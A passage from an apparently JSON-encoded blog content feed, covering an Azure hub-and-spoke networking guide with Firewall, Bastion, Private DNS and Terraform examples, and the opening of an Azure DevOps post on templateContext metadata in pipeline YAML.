style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='308' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='404' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='452' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='164' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='180' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='228' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='308' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='388' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='404' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='452' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='116' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='228' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='308' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='452' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='228' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='452' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='116' fill='currentColor' style='font-size:1em'\u003e\u0026amp;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='308' fill='currentColor' style='font-size:1em'\u003e\u0026amp;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='452' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='452' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='116' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='308' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='116' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='308' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='116' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='308' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003c/g\u003e\n\n    \u003c/svg\u003e\n  \n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eNotes:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eUDR (User Defined Routes)\u003c/strong\u003e on spoke subnets force all \u003ccode\u003e0.0.0.0/0\u003c/code\u003e traffic to the Hub\u0026rsquo;s Firewall private IP.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVNet Peering\u003c/strong\u003e is non-transitive by default; spokes cannot talk to each other unless routed through the Firewall.\u003c/li\u003e\n\u003cli\u003eThe \u003cstrong\u003eGateway Subnet\u003c/strong\u003e handles Site-to-Site VPN or ExpressRoute traffic.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"the-hub-vnet\"\u003eThe Hub VNet\u003c/h3\u003e\n\u003cp\u003eThe hub VNet hosts shared network services that every spoke consumes. Workload teams do not deploy resources here; they peer their spoke VNets to the hub to inherit its security and connectivity.\u003c/p\u003e\n\u003cp\u003eThe hub VNet requires four subnets with names enforced by Azure:\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eSubnet Name\u003c/th\u003e\n          \u003cth\u003eMinimum Size\u003c/th\u003e\n          \u003cth\u003ePurpose\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003eAzureFirewallSubnet\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e/26\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eAzure Firewall.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003eAzureFirewallManagementSubnet\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e/26\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eMandatory for forced tunneling and \u003cstrong\u003eall\u003c/strong\u003e Basic SKU firewalls.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003eAzureBastionSubnet\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e/26\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eAzure Bastion.\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003eGatewaySubnet\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e/27\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eVPN or ExpressRoute Gateway.\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e\u003cstrong\u003eScale Tip:\u003c/strong\u003e Adding a subnet to a VNet with active peerings requires removing and re-creating those peerings. Plan and reserve your hub subnets before establishing any connections.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"ip-address-space-planning\"\u003eIP Address Space Planning\u003c/h2\u003e\n\u003cp\u003eAzure VNet address spaces cannot overlap within a peering relationship. Allocate a large block exclusively for Azure and subdivide by purpose.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eA Practical Model:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eHub (East US)\u003c/strong\u003e: \u003ccode\u003e10.0.0.0/16\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCorp Spokes\u003c/strong\u003e: \u003ccode\u003e10.10.0.0/16\u003c/code\u003e – \u003ccode\u003e10.49.0.0/16\u003c/code\u003e (Workloads needing on-prem access)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eOnline Spokes\u003c/strong\u003e: \u003ccode\u003e10.50.0.0/16\u003c/code\u003e – \u003ccode\u003e10.79.0.0/16\u003c/code\u003e (Internet-facing workloads)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eEach spoke VNet should receive a \u003ccode\u003e/22\u003c/code\u003e (1,024 addresses) by default. This handles most enterprise application requirements without fragmentation.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"azure-firewall-and-routing\"\u003eAzure Firewall and Routing\u003c/h2\u003e\n\u003ch3 id=\"forced-tunneling-and-udrs\"\u003eForced Tunneling and UDRs\u003c/h3\u003e\n\u003cp\u003eForced tunneling ensures all internet-bound traffic from spokes flows through Azure Firewall for inspection. This requires a User Defined Route (UDR) on spoke subnets with \u003ccode\u003e0.0.0.0/0\u003c/code\u003e pointing to the Firewall\u0026rsquo;s private IP.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eAvoiding Asymmetric Routing:\u003c/strong\u003e When an on-premises host connects to a spoke VM, the return traffic might hit the spoke UDR and attempt to exit through the Firewall. The Firewall will drop this traffic because it didn\u0026rsquo;t see the original inbound request. Fix this by adding a UDR to the hub\u0026rsquo;s \u003ccode\u003eGatewaySubnet\u003c/code\u003e that routes traffic \u003cstrong\u003edestined for the spoke address ranges\u003c/strong\u003e through the Firewall.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"azure-bastion\"\u003eAzure Bastion\u003c/h2\u003e\n\u003cp\u003eAzure Bastion replaces the traditional jump server anti-pattern. It provides RDP and SSH directly through the portal or \u003ccode\u003eaz\u003c/code\u003e CLI without exposing ports 22 or 3389 to the internet.\u003c/p\u003e\n\u003cp\u003eUse the \u003cstrong\u003eStandard SKU\u003c/strong\u003e for hub deployments. Standard Bastion supports peering-based access, allowing it to reach VMs in any peered spoke VNet. The Developer SKU is restricted to its own VNet and is unsuitable for hub-and-spoke designs.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"private-dns-zones\"\u003ePrivate DNS Zones\u003c/h2\u003e\n\u003cp\u003eWhen you use private endpoints, you must resolve the service\u0026rsquo;s public name (e.g., \u003ccode\u003emystorage.blob.core.windows.net\u003c/code\u003e) to its private IP.\u003c/p\u003e\n\u003cp\u003eDeploy the full set of Private DNS Zones (Blob, Key Vault, SQL, etc.) in the Connectivity subscription from day one. Link these zones to the hub VNet. For spokes to resolve these records, either link the zones to every spoke VNet or deploy an \u003cstrong\u003eAzure DNS Private Resolver\u003c/strong\u003e in the hub to forward queries.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"deploying-the-hub-with-terraform-avm\"\u003eDeploying the Hub with Terraform AVM\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ccode\u003emain.tf\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-hcl\" data-lang=\"hcl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;hub_vnet\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  source  \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Azure/avm-res-network-virtualnetwork/azurerm\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  version \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;~\u0026gt; 0.7\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name                \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;vnet-hub-connectivity-001\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  address_space       \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;10.0.0.0/16\u0026#34;\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  subnets \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    AzureFirewallSubnet \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e { address_prefixes \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;10.0.0.0/26\u0026#34;\u003c/span\u003e] }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    AzureBastionSubnet  \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e { address_prefixes \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;10.0.1.0/26\u0026#34;\u003c/span\u003e] }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;firewall\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  source  \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Azure/avm-res-network-azurefirewall/azurerm\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  version \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;~\u0026gt; 0.3\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name       \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;fw-hub-001\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  sku_tier   \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Standard\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  firewall_policy_id \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003efirewall_policy\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003eresource_id\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e  # ... IP configurations\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"best-practices\"\u003eBest Practices\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eStandard SKUs Only\u003c/strong\u003e: Use Standard SKU for both Bastion and Firewall. Basic SKUs lack the peering and scaling features required for production hub-and-spoke environments.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eEnable DNS Proxy\u003c/strong\u003e: Turn on DNS Proxy in the Firewall Policy. This allows spokes to use the Firewall as their DNS server, enabling FQDN-based filtering for all traffic.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGlobal Private DNS\u003c/strong\u003e: Deploy the \u003ccode\u003eAzure/avm-ptn-network-private-link-private-dns-zones\u003c/code\u003e module to create all ~60 required DNS zones at once. Reactive zone creation is an operational burden.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"troubleshooting\"\u003eTroubleshooting\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003e\u0026ldquo;Spoke VM cannot reach the internet\u0026rdquo;\u003c/strong\u003e\nVerify the spoke subnet is associated with a UDR. Since March 31, 2026, there is no default outbound access. Check the Firewall logs:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eaz monitor log-analytics query \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --workspace \u0026lt;workspace-id\u0026gt; \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  --analytics-query \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;AZFWApplicationRule | where Action == \u0026#39;Deny\u0026#39; | take 10\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003e\u0026ldquo;Private endpoint resolves to a public IP\u0026rdquo;\u003c/strong\u003e\nThe Private DNS Zone is likely not linked to the hub VNet, or the spoke VNet is not using the hub for DNS. Confirm the VNet link exists in the Connectivity subscription.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/landing-zone/design-area/network-topology-and-connectivity\"\u003eCAF Network Topology and Connectivity\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/bastion/bastion-faq#skus\"\u003eAzure Bastion SKU Comparison\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://registry.terraform.io/browse/modules?provider=azurerm\"\u003eAzure Verified Modules — Networking\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eWith networking deployed, move to \u003ca href=\"../azure-identity-architecture/\"\u003ePost 3: Identity and Access Architecture\u003c/a\u003e. We will configure the OIDC identities and PIM settings that govern access to this hub.\u003c/p\u003e\n","description":"Build a production hub-and-spoke network for Azure landing zones. Covers Azure Firewall, Bastion, Private DNS Zones, and VNet peering with Terraform and Bicep.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/azure-hub-spoke-networking/","title":"Azure Landing Zone Hub-and-Spoke: Firewall, Bastion, DNS"},{"content":"\u003cp\u003eYou have a \u003ccode\u003edeploymentList\u003c/code\u003e parameter. Each deployment needs a different Azure environment name, approval group, and service connection. The schema won\u0026rsquo;t let you add custom properties to a deployment definition. The parallel-array workaround you wrote last month is already out of sync with the deployment list it describes.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ejobList\u003c/code\u003e, \u003ccode\u003edeploymentList\u003c/code\u003e, and \u003ccode\u003estageList\u003c/code\u003e parameter types accept valid YAML definitions — which means Azure DevOps enforces the schema and rejects any custom property you attach directly. Before \u003ccode\u003etemplateContext\u003c/code\u003e, the only solution was a parallel parameter array: one array of job definitions, one array of metadata objects, indexed in lockstep. That pattern breaks silently when an item is added to one array but not the other. There is no error. The wrong metadata silently maps to the wrong job.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003etemplateContext\u003c/code\u003e solves this. This article covers:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe exact syntax for attaching metadata to jobs and stages.\u003c/li\u003e\n\u003cli\u003eHow to read \u003ccode\u003etemplateContext\u003c/code\u003e properties inside a template that processes a list.\u003c/li\u003e\n\u003cli\u003eThe scope constraints that prevent \u003ccode\u003etemplateContext\u003c/code\u003e from being read inside \u003ccode\u003esteps:\u003c/code\u003e — and the workaround.\u003c/li\u003e\n\u003cli\u003eFour production patterns: environment routing, per-job conditional steps, variable bridging, and multi-tenant regional deployment.\u003c/li\u003e\n\u003cli\u003eA decision framework for when \u003ccode\u003etemplateContext\u003c/code\u003e is the right tool vs. a plain \u003ccode\u003eobject\u003c/code\u003e parameter.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eCompatibility:\u003c/strong\u003e \u003ccode\u003etemplateContext\u003c/code\u003e is fully supported on Azure DevOps Services. On Azure DevOps Server, support begins in version 2022. Earlier Server versions will surface an \u0026ldquo;Unexpected value \u0026rsquo;templateContext\u0026rsquo;\u0026rdquo; parse error.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"templatecontext-mechanics\"\u003e\u003ccode\u003etemplateContext\u003c/code\u003e Mechanics\u003c/h2\u003e\n\u003ch3 id=\"what-templatecontext-is-and-where-it-lives\"\u003eWhat \u003ccode\u003etemplateContext\u003c/code\u003e Is and Where It Lives\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003etemplateContext\u003c/code\u003e is a reserved property on job, deployment, and stage definitions. Azure DevOps\u0026rsquo;s YAML parser recognizes it explicitly — it does not trigger a schema validation error even though it is not part of the standard job or stage schema. Any YAML mapping you place inside \u003ccode\u003etemplateContext:\u003c/code\u003e is accepted without type checking.\u003c/p\u003e\n\u003cp\u003ePlace \u003ccode\u003etemplateContext:\u003c/code\u003e as a sibling of \u003ccode\u003esteps:\u003c/code\u003e, \u003ccode\u003epool:\u003c/code\u003e, and \u003ccode\u003eenvironment:\u003c/code\u003e inside a job definition:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# pipeline.yml — deployment with templateContext metadata\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003etemplates/deploy-jobs.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edeployments\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployDev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:           \u003cspan style=\"color:#75715e\"\u003e# sibling of strategy:, pool:, environment:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003etargetEnvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-dev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eapprovalGroup\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev-approvers\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003erunSmokeTests\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Building artifacts\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Build\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAfter compilation, \u003ccode\u003etemplateContext\u003c/code\u003e is stripped from the Expanded YAML. The job that the agent receives contains no trace of it:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Expanded YAML — templateContext is absent; the agent never sees it\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployDev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Building artifacts\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan 